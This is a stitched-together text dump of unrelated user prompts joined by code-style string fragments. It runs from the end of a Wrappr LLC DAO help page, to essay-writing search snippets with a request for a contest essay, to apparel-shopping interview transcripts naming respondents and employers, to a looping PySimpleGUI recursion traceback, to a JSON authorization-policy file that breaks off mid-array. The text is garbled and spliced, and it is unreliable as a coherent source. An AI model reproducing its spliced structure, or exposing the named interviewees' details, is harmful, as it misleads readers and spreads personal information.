new window)to get started and quickly setup banking for LLC DAOs.\n\n#Handling Taxes\nThe maintenance of the Wrappr LLC filings, registered agent and annual State franchise tax is handled by the KALI (opens new window)team for the public benefit. This means that you don\'t need to pay taxes to Delaware or Wyoming on the LLC registration or any other maintenance fees. Your tax obligations will be with regard to your own members and any income generated by your LLC, which will involve filing an annual report to the IRS and preparing K-1s for members.\n\nAnnual reports and issuing partnership K-1s for LLC members can be handled by the LexDAO Clinic (opens new window), or if the LLC wants to be taxed as a corporation to simplify accounting, such filings can be similarly handled and taken off your plate.\n\n#Onboarding Investors\nPurchases of shares in your LLC for investment purposes should respect local law and applicable regulations. It is recommended to retain counsel if the Wrappr LLC is formed for the purposes of raising funds for group investment or to capitalize a team operating the LLC to develop a product or provide services. LexDAO maintains a curated list of counsel (opens new window), with practice areas and jurisdictions for public reference.\n\nWhile automated investor onboarding processes are added to the Wrappr application in partnership with kycDAO (opens new window), users can also take advantage of KALI (opens new window)open source legal forms for self-certification of investors in private sales (i.e., not marketed to general public), provided here (opens new window). If the sale is public and not handled through private marketing to your network, taking advantage of the Wrappr whitelisted minting and transfers is recommended, as well as obtaining a letter of accreditation for each investor, a form of which is provided here (opens new window)and can be filled out by your counsel. If you have more questions do not hesitate to reach out to the KALI team (contact@kali.gg).\n\n[1] "Heres how to write a 1000 word essay in five steps: Step 1: Choose Your Topic The first step to writing a great 1000 word essay is to choose your topic. Make sure to pick a topic that youre interested in, as this will make the writing process much easier. Once youve chosen your topic, its time to start brainstorming."\nURL: https://tutlance.com/learn/essay-writing/write-1000-word-essay\n\n[2] "How to Write a 1000 Word Essay? Here are the steps to write a 1000 word essay easily: 1. Choose a topic. The first step is to choose a topic for your essay. This can be anything from a specific event or incident to a broader topic or issue. 2. Research your topic. Once you have chosen a topic, the next step is to research it in depth."\nURL: https://www.5staressays.com/blog/essay-writing-guide/1000-word-essay\n\n[3] "A 1000 word essay is a standard essay length for college students at many universities. The average page contains about 300 words, so you can get there easily by keeping your paragraphs short and writing a few long ones. The 1000 word essay is a standard essay length, which includes 4 double-spaced pages or 2 single-spaced pages."\nURL: https://essayfreelancewriters.com/blog/1000-word-essay/\n\n[4] "For 1000-word essays, the word count of the body is about 600-800 words. If it is a 5-paragraph essay, the body should have paragraphs of 200-300 words each. For a good flow, every paragraph must have a topic sentence, supporting facts and evidence, and a concluding sentence with a relevant transition. Ensure that each paragraph has only one idea."\nURL: https://gradecrest.com/writing-a-1000-word-essay/\n\n[5] "A 1000 word essay does not differ from the regular ones only by the number of pages. It requires a more thorough approach to a topic, thesis statement, research, and content choice. In five minutes of reading, you will learn what mistakes a student can commit in such essays, how to avoid them and keep your audience impressed by a long text."\nURL: https://studycrumb.com/1000-word-essay\n\n[6] "Great Tips to Write a 1000 Word Essay We recommend the following tips for our professional writers: Choose a good topic. Use the correct format for writing the essay. Use standard fonts like Arial, Calibri or Times New Roman. Each Body paragraph should be of 250 words. Always keep the word count in your mind to divide the content accordingly."\nURL: https://www.youressaywriter.net/blog/essay-writing/1000-word-essay\n\n[7] "Here is an outline example for a personal essay: Title: The Two Best Birthdays of my Life Introduction Introducing your feelings about birthdays and how you like to celebrate yours Thesis: The two best birthdays of my life were my 17th and 22nd My 17th birthday I got my drivers license and drove to my first concert with my best friends"\nURL: https://www.grammarly.com/blog/essay-outline/\n\n[8] "Have a list of questions ready, but be flexible enough to change direction if the conversation takes an unexpected turn. 4. Be professional. Even if youre interviewing someone you know well, remember that this is a business meeting. Dress and speak accordingly. 5. Make it comfortable. Put the person at ease by creating a relaxed atmosphere."\nURL: https://tutlance.com/learn/essay-writing/interview-paper\n\n[9] "Use double-space and start writing the essay. Essay Outline Format. A typical essay is a five-paragraph essay with an introduction, body, and conclusion. Here, the body comprises three paragraphs that hold the main argument, ideas, and supporting evidence. Once you get the hang of crafting such essays, writing longer, complex essays will become simpler."\nURL: https://www.5staressays.com/blog/essay-writing-guide/essay-format\n\nNow based on this outline, write me a professional and detailed 1000-word essay that will win me a prize on a writing contest.2/1/2023' +"Transcript 1: Bhavna Gupta\n\nQ. Hello ma’am. Can you start with introducing yourself? \n\nA. Hi! I’m Bhavna, born and brought up in Delhi. I’m working as a business analyst at EXL service in Gurgaon.\nQ. So the first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer to shop online as it’s quite convenient and saves a lot of time.\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. Usually apparels like dresses, tops and denims. I love different and new clothes.\nQ. What is the purchase frequency for your apparel purchases?\n\nA. My purchase frequency for apparels is like 2-3 items every quarter.\nQ. What type of apparel you love to purchase more frequently?\n\nA. Most frequently I buy dresses that are trendy and good looking.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer to buy online as it’s hassle free. The parameters I consider are delivery time, quality of products and return policy.\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No I don’t\nQ. What factors influence your decision for an apparel purchase?\n\nA. Factors for apparel purchase will include quality of product, fit of the product, fabric used. These must tick all the boxes for me. \n\nInterviewer: Thanks a lot Bhavna for giving us your time. This will really help us with our research.\n\nBhavna: You’re welcome. \n\n\nTranscript 2: Shubham Aggarwal\nQ. Hello sir. Please introduce yourself.\n\nA. My name is Shubham Aggarwal and I am from Delhi. Currently I am working as Senior Risk analyst in insurance service firm located out of Gurgaon.\nQ. So, I believe you shop a lot. My first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer both online and offline mode for shopping apparels. It depends on time availability for me.\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. I buy comfort clothing like T shirts and pyjamas through online mode, while i buy casual wear or other high end apparels offline from trusted brands.\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. Generally I shop 3 to 4 times annually for season clothing but occasion/event specific shopping is also there during the year.\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I buy comfort clothing like T shirts and pyjamas more frequently as mostly i am at home due to hybrid working conditions\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. While buying online for comfort clothing main lookout is the price. I have some preferred brands for online shopping from where i do most online shopping. \nFor offline shopping i mostly go with some different style and fashion. I lookout for quality and comfort while shopping offline while price factor is not so significant\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No I don't indulge in price comparison in online or offline shopping. I only stick to my preferred factors without any comparison\nQ. What factors influence your decision for an apparel purchase?\n\nA. For an apparel purchase first factor would be need. Only if I feel extreme need to shop , I will shop. After that a combination of price, quality and brand plays main role in making my buying decision. \nInterviewer: Thank you so much Shubham for your valuable time. Your insights will definitely help us in our research project.\n\nShubham: Anytime. Pleasure is mine.\n\nTranscript 3: Ritu Rao Patibandla \n\nQ. Hello ma’am. Can you please introduce yourself?\n\nA. I am Ritu Rao Patibandla, Currently I am working as a Management trainee at ICICI Bank in their service sector group.\nQ. So I would like to start this conversation by asking you which channel do you prefer while shopping for apparel, offline or online?\n\nA. Both. I buy clothes from wherever I find something unique and ‘value for money’. Be it a rise-door showroom or one of the e-retail platforms.\nQ. What type of products do you generally buy online/offline ?\n\nA. Apparels, grocery and electronics. These are my regular purchases.\nQ. What is the purchase frequency for your apparel purchases?\n\nA. 4-5 times a month. I like to shop a lot. Thrift shopping lets me explore many things.\nQ. What type of apparel you love to purchase more frequently?\n\nA. Casual wear and party wear including dresses, gowns and accessories.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. Offline as it helps me in ensuring that the product is genuine and tested before making the purchase. Product analysis and shopping experience are quite important for me.\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. Yes, I do that sometimes to compare price differences for similar products.\nQ. What factors influence your decision for an apparel purchase?\n\nA. Cloth material, trust on the brand, quality , past experience. I usually checklist these factors while purchasing a product. \nInterviewer: Thanks Ritu. Your responses will help us in a better analysis.\n\nRitu: Welcome. Do reach out if you have any more questions.\n\n\nTranscript 4: Dolly Vijay\n\nQ. Hello ma’am. Can you start with introducing yourself? \n\nA. My name’s Dolly and I’m from New Delhi. I work as a Quality Associate at Amazon.\n\nQ. So the first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer to shop online.\n\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. The products which I buy most often online are clothes and I prefer buying electronics offline.\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. The frequency of shopping mostly depends on personal preferences and changing fashion. I do it once every 2 to 3 months..\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I like wearing one pieces, baggy jeans, sweaters, hoodies etc, the goal is to be able to dress for any occasion, any season, any reason with less effort.\n\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer buying online because there are too many options available and apps offer huge discounts too.\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. Yes, I do check the prices\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Price, quality and how trendy the product is\n\nInterviewer: Thanks a lot Dolly for giving us your time. This will really help us with our research.\n\nDolly: You’re welcome. \nTranscript 5: Lakshay Gulati\nQ. Hello sir. Please introduce yourself.\n\nA. I am Lakshay, an MBA student in first year pursing Marketing at IMT ghaziabad\n\nQ. So, I believe you shop a lot. My first question to you is which channel do you prefer while shopping for apparel, offline or online?\n\nA. I usually prefer online mode of shopping unless buying a luxury item for which feel is very important.\n\nQ. And what are the type of products that you generally buy online/offline ?\n\nA. I usually buy clothes and skin care products through online channels\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. I buy an apparel item almost every 2 weeks\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I love to buy streetwear Tshirts every once and now cos they're not that expensive and allows me to fulfil my shopping desire.\n\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer Online only cos of the insane variety it offers sitting at home. I can have access to every brand and every item of the brand unlike different stores has different apparels stock.\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. No, I consider the MRP stays the same for online/offline while Online offers some major discounts all over the year.\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Price, design, delivery charge, return policy are the factors I see to purchase the apparel\n\nInterviewer: Thank you so much Lakshay for your valuable time. Your insights will definitely help us in our research project.\n\nLakshay: Anytime. Pleasure is mine.\n\nTranscript 6: Saloni Narangg \n\nQ. Hello ma’am. Can you please introduce yourself?\n\nA. I am Saloni Narang from Gurgaon, Haryana. Currently pursuing my masters degree from NMIMS Mumbai..\n\nQ. So I would like to start this conversation by asking you which channel do you prefer while shopping for apparel, offline or online?\n\nA. I prefer both depending on the type of purchase and occasion for purchase. For regular, western wear, I generally go for Online channels and for ethnic wear & party wear, I tend to go for offline channel.\n\nQ. What type of products do you generally buy online/offline ?\n\nA. For regular, western wear, I generally go for Online channels and for ethnic wear & party wear, I tend to go for offline channel\n\nQ. What is the purchase frequency for your apparel purchases?\n\nA. I generally purchase apparels including tops, dresses, T-shirts almost every month using online channels. Ethnic/party wear, only when situation demands me to buy those clothes.\n\nQ. What type of apparel you love to purchase more frequently?\n\nA. I generally purchase t-shirts, tops, dresses, etc. more often.\nQ. What do you prefer while buying - online or offline? What parameters do you look at while buying ?\n\nA. I prefer online mode dưe to the Ease of buying, availability of choices, ease of comparison and that there is no hassle of going to different stores, etc. Quality factor is taken care of because of easy return/exchange options available\n\nQ. Do you see prices online while buying offline or vice versa for comparison?\n\nA. I look at price and quality of clothes while buying expensive clothes (mostly ethnic/party wear)\n\nQ. What factors influence your decision for an apparel purchase?\n\nA. Factors that influence my purchase decisions include Brand, quality, fit, style, type of cloth, price.\n\nInterviewer: Thanks Saloni. Your responses will help us in a better analysis.\n\nSaloni: Welcome. Do reach out if you have any more questions.\n\nTranscript 7\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Indranil and I hail from Kolkata, West Bengal. Currently I am a employed with Exide\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. I prefer offline since I find it more convenient\n\nWhat type of products do you generally buy online/offline?\n3. I mostly purchase apparels, food and books online. Other products are purchased offline by me\n\nWhat is the purchase frequency for your apparel purchases?\n4. I generally tend to purchase apparels every alternate month. Sometimes, I also purchase them based on the need\n\nWhat type of apparel you love to purchase more frequently?\n5. I read the reviews of the product, the brand, price and delivery timelines before purchasing the product\n\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online for lower value items while prefer offline for items that are of high value\nDo you see prices online while buying offline or vice versa for comparison?\n7. I always see the prices while buying products online and compare them. I switch the channel if the product is available at a lower price\nWhat factors influence your decision for an apparel purchase?\n8. Brand, Price, Product Quality, Delivery Date\n\n\n\nTranscript 8\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Yash and I hail from Mumbai, Maharashtra. Currently I am a posted as a Consultant with PwC India\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. I purchase most of my products online as it is more convenient\n\nWhat type of products do you generally buy online/offline?\n3. I buy groceries, apparel, low priced electronics and online. For higher priced products I prefer offline\nWhat is the purchase frequency for your apparel purchases?\n4. I purchase apparels once a month\nWhat type of apparel you love to purchase more frequently?\n5. I purchase shirts and jeans frequently as they are required by me the most and can be easily determined online\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online due to its convenience and lower prices than offline stores\nDo you see prices online while buying offline or vice versa for comparison?\n7. If the product is available at a long delivery date, then I purchase the product offline if the price difference is not much high\nWhat factors influence your decision for an apparel purchase?\n8. Price, Product Quality, Delivery Date, Reviews, Customer Support\n\n\n\nTranscript 9\n\nIntroduce yourself (Basic intro of respondent and demographics)\n1. I am Rana and I hail from Kolkata, West Bengal. Currently I am a posted as a Consultant with Deloitte USI\n\nWhich channel do you prefer while shopping for apparel, offline or online?\n2. Mostly online as I prefer convenience \n\nWhat type of products do you generally buy online/offline?\n3. Apparel or daily goods from online And electronics or any other items offline \n\nWhat is the purchase frequency for your apparel purchases?\n4. I generally tend to purchase apparels based on the season\n\nWhat type of apparel you love to purchase more frequently?\n5. The parameters that I look while purchasing is how early I receive the product, the reviews of product, feel and touch of the product, maximum discounts and the return policy \n\nWhy do you prefer while buying - online or offline? What parameters do you look at while buying?\n6. I prefer online for lower value items while prefer offline for items that are of high value\nDo you see prices online while buying offline or vice versa for comparison?\n7. Yes I see the prices online and use them for my comparison. I purchase the lowest one\n\nWhat factors influence your decision for an apparel purchase?\n8. Price, delivery date, exchange/repair policy" +'this is the error: File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 15866, in PackFormIntoFrame\n \\_error\\_popup\\_with\\_traceback(\'Your Window has an Image Element with a problem\',\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20931, in \\_error\\_popup\\_with\\_traceback\n \\_error\\_popup\\_with\\_code(title, filename, line\\_num, error\\_message, \\*args)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 20950, in \\_error\\_popup\\_with\\_code\n event, values = window.read()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10075, in read\n results = self.\\_read(timeout=timeout, timeout\\_key=timeout\\_key)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 10146, in \\_read\n self.\\_Show()\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 9886, in \\_Show\n StartupTK(self)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16866, in StartupTK\n \\_convert\\_window\\_to\\_tk(window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 16753, in \\_convert\\_window\\_to\\_tk\n PackFormIntoFrame(window, master, window)\n File "/Users/michellechoi/Development/code/phase-3/project/most-likely-to/.venv/lib/python3.9/site-packages/PySimpleGUI/PySimpleGUI.py", line 14741, in PackFormIntoFrame\n tclversion\\_detailed = tkinter.Tcl().eval(\'info patchlevel\')\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2372, in Tcl\n return Tk(screenName, baseName, className, useTk)\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2275, in \\_\\_init\\_\\_\n self.readprofile(baseName, className)\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/tkinter/\\_\\_init\\_\\_.py", line 2323, in readprofile\n if \'HOME\' in os.environ: home = os.environ[\'HOME\']\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/\\_collections\\_abc.py", line 770, in \\_\\_contains\\_\\_\n self[key]\n File "/Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/lib/python3.9/os.py", line 676, in \\_\\_getitem\\_\\_\n value = self.\\_data[self.encodekey(key)]\nRecursionError: maximum recursion depth exceeded' +'Here is the JSON data file for that policy "{\n "Resources": {\n "myapp1": [\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "InvoiceAmount": 200,\n "Name": "Invoice1",\n "ResourceID": "inv001",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "InvoiceAmount": 300,\n "Name": "Invoice2",\n "ResourceID": "inv002",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 1000,\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "PurchaseOrder1",\n "ResourceID": "po001",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 1500,\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "PurchaseOrder2",\n "ResourceID": "po002",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyA",\n "Country": "Norway",\n "Name": "Person1",\n "ResourceID": "p001",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyB",\n "Country": "Sweden",\n "Name": "Person2",\n "ResourceID": "p002",\n "ResourceType": "Person"\n }\n ],\n "myapp2": [\n {\n "Company": "CompanyC",\n "Country": "Finland",\n "InvoiceAmount": 400,\n "Name": "Invoice3",\n "ResourceID": "inv003",\n "ResourceType": "Invoice"\n },\n {\n "Company": "CompanyD",\n "Country": "Denmark",\n "InvoiceAmount": 500,\n "Name": "Invoice4",\n "ResourceID": "inv004",\n "ResourceType": "Invoice"\n },\n {\n "Amount": 2000,\n "Company": "CompanyC",\n "Country": "Finland",\n "Name": "PurchaseOrder3",\n "ResourceID": "po003",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Amount": 2500,\n "Company": "CompanyD",\n "Country": "Denmark",\n "Name": "PurchaseOrder4",\n "ResourceID": "po004",\n "ResourceType": "PurchaseOrder"\n },\n {\n "Company": "CompanyC",\n "Country": "Finland",\n "Name": "Person3",\n "ResourceID": "p003",\n "ResourceType": "Person"\n },\n {\n "Company": "CompanyD",\n "Country": "Denmark",\n "Name": "Person4",\n "ResourceID": "p004",\n "ResourceType": "Person"\n }\n ]\n },\n "applications": {\n "myapp1": {\n "ResourceTypes": {\n "Invoice": {\n "AzLocalRights": [\n {\n "AzLocalRightName": "CreateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 100,\n 200,\n 300\n ]\n },\n {\n "FieldType": "Country",\n "FieldTypeValues": [\n "Norway",\n "Sweden",\n "Finland"\n ]\n }\n ]\n },\n {\n "AzLocalRightName": "ReadInvoice",\n "FieldTypes": []\n },\n {\n "AzLocalRightName": "UpdateInvoice",\n "FieldTypes": [\n {\n "FieldType": "InvoiceAmount",\n "FieldTypeValues": [\n 